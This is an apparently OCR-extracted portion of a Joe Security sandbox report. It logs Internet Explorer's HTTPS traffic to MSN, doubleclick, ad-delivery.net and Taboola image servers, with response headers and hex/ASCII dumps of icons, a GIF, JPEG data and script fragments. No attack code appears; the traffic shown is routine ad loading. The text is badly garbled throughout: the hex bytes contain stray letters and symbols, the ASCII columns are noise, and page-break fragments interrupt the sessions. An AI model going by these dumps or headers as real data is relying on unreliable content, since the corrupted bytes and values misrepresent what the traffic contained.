Data Raw: 30 31 7¢ 32 31 7¢ 63 61 29 7c 6d 5¢ 2d 63 72 7c 6d 65 28 72 63 7c 72 69 29 7c 6d 69 28 6f 38 7c 6f 61 7c 74
7329 7c 6d 6d 65 66 7c 6d 6f 28 30 31 7c 30 32 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5¢ 2d 7c 20 7c 6f 7c 76 29 7c 7a 7a
297c6d 74283530 7c 70 31 7¢c 76 20 29 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32 30 5b 32
2d 335d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 30 7c 31 29 7c 31 30 29 7c 6e
65 28 28 63 7c 6d 29 5¢ 2d 7c 6f 6e 7c 74 66 7c 77 66 7c 77 67 7c 77 74 29 7c 6e 6f 6b 28 36 7c 69 29 7c 6e 7a 70 68 7c
6f 32 69 6d 7c 6f 70 28 74 69 7c 77 76 29 7c 6f 72 61 6e 7c 6f 77 67 31 7c 70 38 30 30 7c 70 61 6e 28 61 7c 64 7c 74 29
7c 70 64 78 67 7¢ 70 67 28 31 33 7c 5¢ 2d 28 5b 31 2d 38 5d 7c

Data Ascii: 01]|21|ca)|m\-crime(rc|ri)|mi(o8|oalts)|mmeflmo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2
]In20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|lwflwg|wt)|nok(6|i)[nzph|o2im|op(tijwv)|oran|owg1|p800|pan(
ald|t)|pdxg|pg(13\-([1-8]|

Data Raw: 70 61 79 6¢ 6f 61 64 3a 7b 64 65 74 61 69 6¢ 3a 21 31 7d 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75
72 6e 5b 32 5d 7d 7d 29 7d 29 7d 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b Oa
Data Ascii: payload:{detail:!1}})}catch(e){}return[2]}})}}()}catch(e){}}();

Destination IP Destination Port Process

142.250.203.102 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad.doubleclick.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Type: image/x-icon

Access-Control-Allow-Origin: *

Cross-Origin-Resource-Policy: cross-origin

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media"
Report-To: {"group”:"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-
to/ads-doubleclick-media}]}

Content-Length: 1078

Date: Thu, 02 Dec 2021 14:04:32 GMT

Expires: Fri, 03 Dec 2021 14:04:32 GMT

Last-Modified: Tue, 08 May 2012 13:08:06 GMT

X-Content-Type-Options: nosniff

Server: sffe

X-XSS-Protection: 0

Age: 36055

Cache-Control: public, max-age=86400

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 00 00 01 00 02 00 10 10 10 00 00 00 00 00 28 01 00 00 26 00 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 4e
01 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 cO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 111111111111 11111111
1111111111111111211211211111111111111111211111111111111111111111111111111111111111
11111111111111112112112111111111111111112112111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111

Data Ascii: (& N(

DataRaw:11111111111111111111111111111121111111111111111111111111111111111111111
111111111111111111111112111111211111112111111212111112121111111111111211111112111111111
111111111111112111111121111121111111212111121111121111111111121111111111112111111111
11111111111111111111111111111111111121211111121111121111111111111112111111111111111
111111112111111121111111211111122111111212111111121111121111112111111111111111111111111
1111111112111111121111111211111122111111211111111111112111112111111111111111111111111
111111111111111111111121111111111111111111111111111

Data Ascii:

Destination IP Destination Port Process

104.26.2.70 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:27 UTC 11 ouT GET /px.gif?ch=1&e=0.8514255566470237 HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Referer: https://www.msn.com/de-ch/?ocid=iehp
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ad-delivery.net
Connection: Keep-Alive

2021-12-03 00:05:27 UTC 13 IN HTTP/1.1 200 OK
Date: Fri, 03 Dec 2021 00:05:27 GMT
Content-Type: image/gif
Content-Length: 43
Connection: close
X-GUploader-UploadID: ABg5-UzSZ-Kt1WbGdd88HICnZf7YcJGLu-DR5tPwPS9bXoxAsvIYwt4jGn6LAH0ZbG34
scttOvecv7iFCIZEXLBCcbRVF7nEjw
Expires: Thu, 02 Dec 2021 23:53:27 GMT
Last-Modified: Wed, 05 May 2021 19:25:32 GMT
ETag: "ad4b0f606e0f8465bc4c4c170b37ela3"
X-goog-generation: 1620242732037093
X-goog-metageneration: 5
X-goog-stored-content-encoding: identity
X-goog-stored-content-length: 43
x-goog-hash: crc32c=cpEfJQ==
x-goog-hash: md5=rUsPYG4PhGWS8TEwXCzfhow==
x-goog-storage-class: MULTI_REGIONAL
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-
Trace
Age: 1843
Cache-Control: public, max-age=86400
CF-Cache-Status: HIT
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints”:[{"url":"https:VV/a.nel.cloudflare.com\/report\/v3?s=8apqu7SjveNGDNoEJ%2BSY cjHWO3Z%2B
JAWIgX%2FLuFIFCjv6FMGf5ebiKm64utQCUQJIQFSk7LMXoSnBovhTaGeaY Tpol2pkCATIma%2Fv1ES0f34wb5Yrc67
IWBGqOWIKx1RHSaQ%3D%3D"}],"group”:"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6b788b1e9d4b434b-FRA

2021-12-03 00:05:27 UTC 15 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00
Data Ascii: GIF89a!

2021-12-03 00:05:27 UTC 15 IN Data Raw: 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b
Data Ascii: ,L;
Session ID Source IP Source Port Destination IP  Destination Port Process
3 192.168.2.3 49819 151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
2021-12-03 00:05:28 UTC 15 ouT GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%

2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F581ae10alac0d684e3ee0516ec7f1737.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-03 00:05:28 UTC 16

2021-12-03 00:05:28 UTC 18

2021-12-03 00:05:28 UTC 19

2021-12-03 00:05:28 UTC 20

2021-12-03 00:05:28 UTC 22

2021-12-03 00:05:28 UTC 23

2021-12-03 00:05:28 UTC 24

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 18082

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 378569638155645368870481686782049022018,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "771af000633a0158cc07e79dc7384e0c"

expiration: expiry-date="Sat, 20 Nov 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Wed, 20 Oct 2021 08:39:17 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 100

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 26

X-backend-name: CH_DIR:3FP7YNX3LMizprTZsG7BSW--F_CH_nlb804

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Fri, 03 Dec 2021 00:05:28 GMT

Age: 1876153

X-Served-By: cache-bwi5064-BWI, cache-dcal7735-DCA, cache-mxp6933-MXP

X-Cache: HIT, HIT, HIT

X-Cache-Hits: 1, 1, 1

X-Timer: S1638489928.201033,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F581ael0alac0d684e3ee0516ec7f1737.jpg
X-vcl-time-ms: 1

Data Raw: ff d8 ff €0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 03 03 03 03 03 04 04 04 04 05 05
05 05 05 07 07 06 06 07 07 Ob 08 09 08 09 08 Ob 11 0b Oc Ob Ob Oc 0b 11 Of 12 0f Oe 0f 12 Of 1b 15 13 13 15 1b 1f 1a 19
1a 1f 26 22 22 26 30 2d 30 3e 3e 54 ff c2 00 Ob 08 01 37 00 cf 01 01 11 00 f c4 00 1d 00 00 01 04 03 01 01 00 00 00 00
00 00 00 00 00 00 07 00 05 06 08 03 04 09 02 01 ff da 00 08 01 01 00 00 00 00 ea 3a 49 2a b7 50 67 5d 2a 2 92 49 8e 00
5b 49 24 a8 a5 eb 49 25 57 2a 14 ff 00 a4 7e 52 49 30 c1 Ob 29 24 95 1a bc a9 24 ab 0d 40 9f f4 83 ca 49 28 fc 28 aa 92
49 52 3b b8 92 4a bl d3 b2 37 47 3c a4 92 8e c3 ca 49 24 95 2¢ ba 69 24 ab 4d 34 23 74 77 ca 49 28 dc 4c a0 92 49 52 fb
9e 97 d4 ab 8d 1d 28 f4 87 ca 49 28 c4 64 9a 92 49 53

Data Ascii: JFIFC&""&0-0>>T7:*Pg*I[I$1%6W*~RI0)$$@I((IR;J7G<I$,iSMA#wI(LIR(I(dIS

Data Raw: 77 4d 01 bf 9f d4 94 5f 32 70 ad f2 b1 51 b3 5b a2 af 2e {7 5e 9b 9f 54 f1 ff 00 ce ef cf b2 ff 00 b2 b5 1e 70 ef dd
€7 31 89 fe 07 a8 b6 fc ba 80 5f 9f d4 63 15 d6 7c fd 3c 0d 5b 19 b7 7e cd e5 2d ff 00 a9 54 2e f1 f 00 ce ef cf b5 fd d8 8d
52 f9 c4 51 13 8e e2 ff 00 cO 5 12 9f 2e 98 17 b7 e7 f5 Oe 9f fc a6 09 13 c0 50 92 ae 2d 21 82 le 4c b2 27 4c a3 8a 56 3f
9 dd f9 7d ff 00 46 e3 fe c4 d6 79 c5 53 e3 c7 f1 69 fe 07 a8 36 2a f4 dO fd bf 3f 7f 8d 92 e8 70 31 b9 39 49 e7 09 bb b4 94
37 d0 ca a5 7a 85 0d cc f3 0b af 5d 95 51 f3 cb 07 e6 de 7e ec Oe bd 7c e3 3f e9 Oe 27 fc 0f 50 8a 89 d2 81 5f 22 de 5d 3d
3f 8f 05 fa fb 6a 9e c8 b8 45 e8 16 6d ff 00 €8 6b d2 ad 1b fe dd bb a9 d9 33 fd b7 5e b9 60 df 6f 7e 65 d1 f6 8b ad d6 e3
9afc e7 21 b1 65 36 e0 a2

Data Ascii: WM_2pQ[ATp1_c|<[~-T.RQ.P-IL'LV?}FySi6*?p1917z]Q~|?'P_"]=?JEmk3"'0~ele6

Data Raw: 54 69 b3 b6 30 0d 48 56 da eb ec 11 47 4f 52 65 7f 22 ea 77 43 8c da 8a de 4b 63 63 65 cc 72 b2 de 8e 63 07
8f 7c Ob 94 57 4c 88 88 ae 6e 62 28 e6 fb ca b6 0f 51 f9 45 54 03 48 22 83 95 ce 5d b0 8b 62 43 b4 cc bd 65 50 e4 ca 2d
3479 31 a5 b3 0a bb 0Of 7c 16 4e ae 6d 15 f4 ¢6 74 b3 e0 a3 cf ea 27 67 34 ed fd 10 2d 05 ad 99 3b 06 76 be 59 f6 a9 6¢
e7 bac9 6b 73 7b 68 0d 96 88 ed cc 4e 4c 55 ef c9 ad 4f 76 b5 7d ea 3d 49 fa 7d ac 67 c5 fb 6b 2f 54 fe 9c e5 1b e0 ed b0
dd 9b 97 08 33 Oe 1e e7 4d de 30 98 48 5¢ 5d f8 7d 13 75 27 41 db de 6a df 16 47 4a da 5d 7e 56 ca 47 53 fd ea a4 3f af
4c 46 c7 b4 87 51 0f d2 b2 82 ¢3 74 7e b6 38 a6 60 d2 c1 0d 6¢ f1 56 Oe b2 68 Oc 1c 89 22 18 fa ed 93 69 ad ab 8e 7c b9
ae d9 cf 2f 2a 13 6e 75 a5 5f 70 e4 97 94 71 5¢ 05 7f

Data Ascii: TIOHVGORe"wCKccerc|WLnb(QETH"]bCeP-4y1|Nmt'g4-;vYIks{hNLUOV}=I}gk/T3MOH\J}u'AjGJ]~VGS?LF
Qt~8'IVh"i|/*nu_pa\

Data Raw: af 1b 97 17 37 ca 47 27 8f 1c 01 31 71 5c al c2 5 5¢ 9 4f 66 8a ae Ob a2 9a ad 97 55 a7 b5 a3 9a 48 0d 9f 3b
c8 ba ce e0 58 ad 65 6d df a4 9e 87 al 35 09 bl d8 e7 7d 24 ¢3 59 61 Oc 96 fb 1b de 6b 7f 9d bc 12 de 94 3c de d3 d3 5d
b5 3d 6e de 9f 9e e9 6 d8 5b 8a 44 b4 c6 57 d4 ee ad db 22 1b ac cd Ob da al cf 15 10 5a fa ce eb 5¢ f9 b2 ef 95 59 be
22 6d 39 f1 92 d4 c7 c8 d8 f1 9a 8a e0 9e da 1d 2d d1 3c f6 8a 25 eb 98 00 96 be b1 90 d9 53 e4 2d 17 99 48 dO Oe e7 66
59 03 8e b5 22 d2 4f 49 42 4b 16 1c c3 d6 1c bb 9f fa a7 4a 8f 52 91 a8 d7 bf c8 be 76 1a 2b 39 58 86 57 fd 60 07 55 65
4b 21 d3 50 57 90 24 99 d5 ce 69 4d 94 4a 8f 32 d0 81 59 a6 29 da dd 35 26 bb 1c 45 f3 13 1a ab a0 84 b9 a6 72 26 0Of 19
5b b6 d4 3e e6 d6 0d 55 f9 70 09 39 2f 94 7e a5 6¢ 2d

Data Ascii: 7G'1q\OfUH;Xem5}$Yak<]=n[DW"Z\Y"m9-<%S-HfY"OIBKIRV+IXW UeK!PW$iMJI2Y)5&Er&[>Up9/~I-

Data Raw: 45 53 6¢ 4a 44 6b 2a 24 Oc 8c 96 72 b6 ba 39 58 38 bl c2 a4 bb d4 16 9a 9d 96 19 ec 5a 3f 29 9e 4d 44 87 90
1c c6 6d f9 3d 7 43 a8 3b 35 4d 7b bf db 83 4d a2 d2 d9 64 70 d6 64 d2 dO da 9a c8 af 88 60 1le a9 2b 2b 9e eb c2 26 30
f9 a0 84 6¢ ed 13 07 6b 5e e6 f6 32 a2 ac c7 16 64 ea 46 2a 9b b5 61 33 36 d6 57 39 8d 3e 74 f3 e6 al ce 41 2d 9c 5e cd
63 16 c4 a6 3e 36 04 c7 38 6a €6 17 24 24 3b b7 58 c1 aa d1 57 53 89 e6 52 fc 9c b5 61 15 b6 15 6d ce 07 84 b2 8a dc 42
b5 55 df 83 b0 71 83 86 cf c4 b3 e2 ad f2 73 ad 88 6a a4 92 3f dd 57 f7 ab 55 1b e3 e4 ff 00 35 5f 30 19 76 d3 81 1d 99 d1
73 dc 88 5 19 6a 42 4a 66 cb 67 51 85 al 7d d5 fc b7 f6 d3 dd a9 16 26 49 a9 c2 d0 e7 b0 32 e5 6¢ 49 e2 1a 98 c1 d3 93
18 23 6d f2 47 6b 6d cd c3 66 24 df 7 7a 4e 3c 72 f2

Data Ascii: ESIIDk*$r9X8Z?)MDm=C;5M{Mdpd"++&0Ik"2dF*a36 WI>tA-"c>68j$$; XWSRamBUqsj?WU5_0vsjBJIfgQ}&I2l
I#mGkmf$zN<r

Data Raw: d9 2b ¢8 ab f7 16 02 5b 55 68 5e c3 al d6 1a 21 19 ed 13 6e 4b 2e fe d6 af 39 24 e9 c0 fa 8d 60 31 17 Oc 3e 96
f1 ¢7 53 9 74 5a 4d c6 70 fd 81 cf 22 65 69 8d d5 14 5f b7 cd 8f ba f8 b7 7 33 70 05 56 be be 4a db 16 5f 67 ad 30 9b 16
d7 dc 3f 6b a2 78 35 62 b1 93 70 50 84 a9 e5 d5 4c 1d 07 5f 87 b7 89 27 cf fc bc bb a7 ce ea eb 3e d7 a5 a9 a8 e2 9c 3
20 0c fO e4 68 df 61 3f e0 94 5f 94 32 fd 37 fc bd 9e 73 fd fd fd el bl 26 34 {7 44 7d ac 8f fe 66 fd d6 54 4f 2a f5 d6 34 d2
a4 81 26 6f d4 11 61 b1 91 59 8d 51 d2 31 5a c5 89 8d 36 5a 3c d4 b0 fe 28 8b 8d 45 b7 28 6d a0 35 02 de 73 dc 7d 3d b6
c8a36f5280 31 7e6b1128ch10a2744340cl 27 1259 64 fc 44 e3 55 cb 5c 4c e5 36 41 89 7b 26 73 24 43 4d 6b 51
be cf 2c a7 2a 3b d9 7a 09 81 d9 Oa e0 cd f3

Data Ascii: +[lUh"NK.9$"1>StZMp"ei_3pVJ_g0?kx5bpPL_"> ha?_27s&4D}HTO*4&0aYQ1Z6Z<(E(m5s}=oR1~k(tC@'Yd
DU\LBA{&s$CMKQ,*;z
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kBytes
transferred

Timestamp

2021-12-03 00:05:28 UTC 26

2021-12-03 00:05:28 UTC 27

2021-12-03 00:05:28 UTC 28

2021-12-03 00:05:28 UTC 30

2021-12-03 00:05:28 UTC 31

2021-12-03 00:05:28 UTC 33

2021-12-03 00:05:28 UTC 34

2021-12-03 00:05:28 UTC 35

kBytes
transferred

Session ID Source IP
4 192.168.2.3
Timestamp

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49823

Direction

Data

Data Raw: Od el e0 ¢9 9c 08 dd 1b c3 8f 23 cc 64 51 7d 52 ¢5 12 2b ec f5 6¢ e7 64 9f 26 c7 e2 0f d1 e9 a6 44 7f 27 fa 62
f7 51 d2 6d 66 06 d5 65 el c5 Ob cd 8c 34 ce 39 e7 1d 10 52 a8 f1 fO d2 cf 4e e2 2b 12 7c 45 98 86 20 e4 f5 2d 57 76 d2
4c c8 5e 72 9b 65 fd 98 e4 c1 f1 c8 e7 9e 46 0d 35 e4 67 6a 43 7d 39 06 78 b3 d3 8c fd d7 {7 fe 8e 4c 53 5b 40 6d b9 0d
ed 76 c0 12 dd f0 07 6a 9d 63 79 59 ca b7 c3 18 3d 23 55 1c 87 e7 8a 56 eb dc 83 f9 73 a6 31 b2 90 5e 47 f0 Oc 0 12 73
58 6e 37 ec fb Oc 81 b7 d3 b5 6e 9a €6 06 b8 58 b9 0d d2 cO ac 18 83 8e 4d 8¢ Oc 77 cd 09 ed f5 8b 5b 80 1d 58 15 c6 df
78 42 3e 58 23 e8 2a 28 ea cc 70 00 f5 26 b4 55 b0 8a ca 18 4d c4 fa 8c 51 8e 22 86 25 42 82 5b bf €9 39 50 09 fb ff 00
4a 1d 6a fa 22 2d 54 90 78 2a 4e c1 2b 0f 9f 4a 96 e7

Data Ascii: #dQ}R+/d&D'bQmfe49RN+|E -WvL reF5gjC}OXLS[@mvjcyY=#UVs1"GsXn7nXMw[XXxB>X#*(p&UMQ"%B[9PJj"
-Tx*N+J

Data Raw: ae 3d 4d 41 13 47 1f Oe da 20 72 c6 5e ad 22 8f 24 02 9e d6 ea 5f 69 ae 35 1b 49 10 e2 48 a2 6b 85 91 55 58
7d 95 38 a8 75 ef 67 ed el 2e b1 dd c0 bc 64 1c 40 8f Oc ae a3 21 90 b7 2c¢ 1a 8a de 28 d0 3b al 74 67 01 b0 06 15 Ob 1e
64 e0 66 96 €0 d9 4e 22 ba 81 c6 c9 a0 76 1b 94 3a 1f 31 dO d6 Of bb Oe a3 c9 a8 9c 8a 32 ff 00 f4 cb c4 3f c2 34 53 9a b6
46 97 7e fd 3e 50 d5 ed fa 5d 6¢ 11 c5 Oe 9b 72 92 61 9b Oa e5 65 45 c2 92 7a 9a d6 6¢ 50 45 bd 3d e2 18 63 69 17 cd 23
69 03 b5 70 93 57 e0 cb Oa 7d 98 e2 62 b1 2f dc aa 28 88 1c 5c d9 5¢ 37 ee 4c db c7 dc Ob 66 bl 19 24 cb 6e e3 7c 64 5
c8 1d b2 3c a9 6d ca 9f da 14 6e 46 8a 5b 4e c7 dc d1 88 56 9b f7 cf d9 4f 53 51 35 ff 00 37 75 80 6¢ 39 cf 56 3c c8 5f 4e
5 34 72 af 56 83 0a 23 50 7c ¢5 5¢ 6a 0f 67 79 05

Data Ascii: =MAG r"$_i5IHkUX}8ug.d@!,(;tgdfN"v:12?4SF~>P]IraeEzIPE=ci#ipW}b/(\7L{$n|d<mnF[NVOSQ57u
19V<_N4rV#P|\jgy

Data Raw: cb 41 28 89 31 de 3c 95 2b 45 44 03 86 47 3c 65 3c 27 90 f2 c5 4a d0 35 fc 66 6¢ ae 00 88 1c b9 c7 91 1c a8
6d 03 Ob e4 31 51 ad df 81 9d d5 22 8c 1e 1b 06 05 d8 2e 4e 0a 8a 54 79 b2 8a 53 c5 81 8e 58 f9 d4 €8 d0 aa 11 a8 6f 69
62 66 6e cc 70 31 83 41 88 29 2a 47 d7 96 49 42 e7 c9 69 da 2b c9 04 f2 77 0d 88 91 32 7a f3 26 9a da 6¢ 4a f2 ba 12 37
22c4 7201 1c c7 2f 09 a7 68 €0 b5 86 37 9e 46 dd 24 ec a3 9b b1l 3 24 93 4f 05 c2 80 a9 79 la ef Oc a3 a2 cc a3 9b 01
d9 87 31 4f 72 fb b6 c3 6d 6¢ €5 78 c7 cd a4 65 fO a7 9e 01 6a 86 de 5b ac c9 74 61 1b 56 Ob 75 f8 fO 4e 7a f4 ¢9 c9 3d cd
45 ee 13 fb 43 12 40 12 21 86 45 51 Oa b1l c7 da 09 9a 88 36 a7 77 78 88 58 10 4c 50 23 00 41 14 45 9e 81 a8 c7 14 e4
2850 47 04 25 08 8¢ 29 2c 9c 6b af 82 de 47 76 92 55 52

Data Ascii: A(1<+EDG<e<'J5flm1Q".NTySXoibfnp1lA)*GIBi+w2z&J7"r/h7F$$0y10rmixej[taVuNz=EC@'EQB6WXXLP#A
E(PG%),kGVUR

Data Raw: e4 7c 47 15 6c f2 2d dc ee 59 22 12 Oe 80 63 3b cd 37 1e Ob 6b e3 1b 40 1d 19 8a 49 21 18 5f 30 79 82 a6 9f
5c d1 ee 37 ¢2 21 96 46 69 2d 5d 48 0a 11 ba a9 dc c3 3d b1 46 02 fO d8 5a 85 23 05 4c 08 5c¢ fd e4 4a 09 a3 be 68 le el
b3 e5 3b 99 07 e4 6b a0 fO f7 15 b9 62 2b Oc 67 €5 cc 9f bf 34 1d ac e2 76 86 31 81 99 19 76 af 3e dc b2 28 dd 58 df 40 5e
63 b4 al 92 Oc 92 ch 82 01 1c 4c 14 3d c6 6b 1le dO df a6 ae 2e ae f8 5¢ 6f 76 91 60 77 8d 17 04 aa 86 1c c0 e4 4d Ob 6d
3afad6 58 e6 92 e6 68 6¢ ed 7c 43 7e e5 e2 72 0c 31 80 41 c8 cd 31 5b 7b 86 b5 13 5¢ cc 22 8b 54 97 ab c7 6d 24 ef be
49 b0 41 3c bl 4c 81 4b 2b 23 f2 74 65 38 28 c3 cc 1a 13 69 5a 13 ab 08 9c 65 2e 6e 8f 34 46 {3 54 {8 98 54 85 8e 4b 10
4f 4a d5 ac 74 76 72 13 52 96 1f f6 62 37 fO c3 6f 19

Data Ascii: |GI-Y"c;7k@!!_Oy\7!Fi-|H=FZ#L\Jh;kb+g4v1lv>(X@"cL=k.\ov' wMm:Xhl|C~r1AL[{\"Tm$IA<LK+#te8(i
Ze.n4FTTKOJtvrRb70

Data Raw: ed 8e 97 75 68 84 1c c7 1a 4d Oe dO ad ff 00 34 aa 5a 8e cd 1e 38 f8 00 b6 fO 9b a5 90 38 53 f6 Oe 03 Oa e7 5e
1208612 a7 9152 d2 495576 e7 72 a2 16 3b 7d 79 60 Oa 16 1a df b5 b2 d9 e9 €6 d9 65 2f c1 13 61 a7 Oa 7b a7 44 3e
8d 5¢ 10 35 14 b7 11 32 13 18 29 02 6d c3 0f 85 88 ec 6a ca Ob Ob 9b 29 8c ae 5¢ c¢8 a9 3c 18 64 64 44 38 2e 6a ce d2 fb
46 f6 a2 e6 de 7b 59 e7 96 26 64 el 26 c6 ca 2b 29 05 83 54 b2 5a bc ca f3 dd c0 cb 2c 4d Oe d3 19 e2 fO 8b aa 86 05 ca
e7 69 cadl 6d faab 19 d0 73 67 77 bd 26 bd d6 1f d7 71 d9 b2 ac 86 36 df 78 78 69 bc e0 ed 4f db 02 4d 5¢ 3e b7 a2 cb
3c 3a 5e 99 3f 81 4b 4f 2b 49 2¢ 92 ¢9 92 1b a8 d8 47 5¢ 53 cf 73 aa da 16 f1 f5 8d 14 f2 40 bd 14 Oe 81 68 2e cd 48 45 11
2322337440 2c 07 c81a 618390 1b ae d2 48 52

Data Ascii: uhM4Z88S"aRIUvr;}y e/a{D>\52)mj)\<ddD8.jF{Y&d&+) TZ,Mimsgw&q6xxiOM\><:A?KO+|,G\Ss@h.HE#"3
t@,aHR

Data Raw: ef 20 b6 d3 b7 af ad 00 7d 05 11 6f 69 67 2b b7 9b 31 e4 14 7a 9a b5 d3 62 58 ec 9d e4 0f 99 5¢ a2 b4 77 88
a9 d0 1c a8 08 5a 84 1a 4f b2 96 69 ce 32 04 08 d3 02 23 4e 7d 58 f8 99 98 d1 67 2b 93 4c d3 5e 26 64 0a 39 f0 ce 46 33
4 68 6d b6 eb 80 40 dc 06 70 2b 10 59 c2 d3 4c c0 77 93 92 0a 7 fd Oe 6f 0d df 2d ef 0a b6 01 70 3¢ bc ea 77 f6 4b 59 55
54 75 53 21 12 9e 6a 23 07 1c 4a 92 da c2 e9 b3 08 6¢ 12 8d dd 5f 6f 25 27 a8 14 5b 98 c0 03 35 23 Oc 93 cf 0a 32 7b €0
62 b3 fa 41 bc ba 4c ¢7 Ob e4 70 22 3d Ob 63 eb 3f 5a 74 bb 7 33 34 28 4e 44 7c 56 25 77 79 be d6 fb a9 56 15 c6 2c 2d
55 43 4b 77 32 0f ab e4 a3 3e 27 3d 05 4b 25 fd e4 ef 3d d4 8e 3e 29 1d 89 38 f2 03 b0 ab 08 2c a4 b1 3f ac 26 88 ab 4f
73 2 a9 fb 59 11 8e 4e 5d be 0a 4f 67 7d 94 58 5a d3

Data Ascii: }oig+1zbX\WZOi2#N}Xg+LA&IIF3hm@p+YLwo-p<wKYUTuS!j#I_o%[5#2{bALp"=c?Zt34(ND|VI%wyV,-UCK
W2>'=K%=>)8,?&0s,YN]Og}XZ

Data Raw: €9 92 e2 2b fb 54 7c ed 6b 67 6¢ 09 23 fb 20 f9 6d ab 4b bd 12 e3 4e 5b 31 1d e5 al fO dc 34 92 e5 9b 9a 3a c8
b1 85 1f 66 ae a2 3a 86 65 82 da 0d b1 30 57 e7 c4 7e 5d fb 28 af fc 4b ec de 9d 75 34 ab a6 b6 12 ee 04 9f Oc ea 3c 4b
bd 49 5e 8a 7a 9e 95 a9 5b 49 c4 1e eb 05 e2 ¢8 8c 09 04 00 a9 2c 27 ¢4 33 d8 d2 19 c0 43 6d a4 80 ac bl fO ce 77 dc 90
a3 39 fe cc 7d f4 26 31 28 54 9a 26 d9 22 a0 fa 9b 07 84 8f 90 cd 3a e3 e2 e2 2e 18 63 a0 a0 4f 5¢c d1 2c 8a 40 e5 d4 d3
06 92 4e 1c cb d0 3a Oe 78 f2 dc 33 5b el ba 8f 70 6f 26 1c 98 7d c6 89 8c b2 b6 08 c8 ca f4 e5 df 15 b1 79 08 7 1c b3 fe
6 07 41 58 00 55 cd cc 40 9c 06 e4 9f 81 ed 43 4b 47 fe 6a ee 37 e5 1c bd 89 5f c9 bl 4b c5 82 42 8e 54 ee 53 8e 8¢ Of
91 1c c5 0c d7 2a 2c cc Of 6e 42 8c 37 3a 2a 45 60

Data Ascii: +T|kgl# mKN[14:f:e0W~](Ku4<KI"z[l,'3Cmw9}&1(T&":.cO\, @N:x3[po&}yAXU@CKG|7_KBTS*nB7:*E

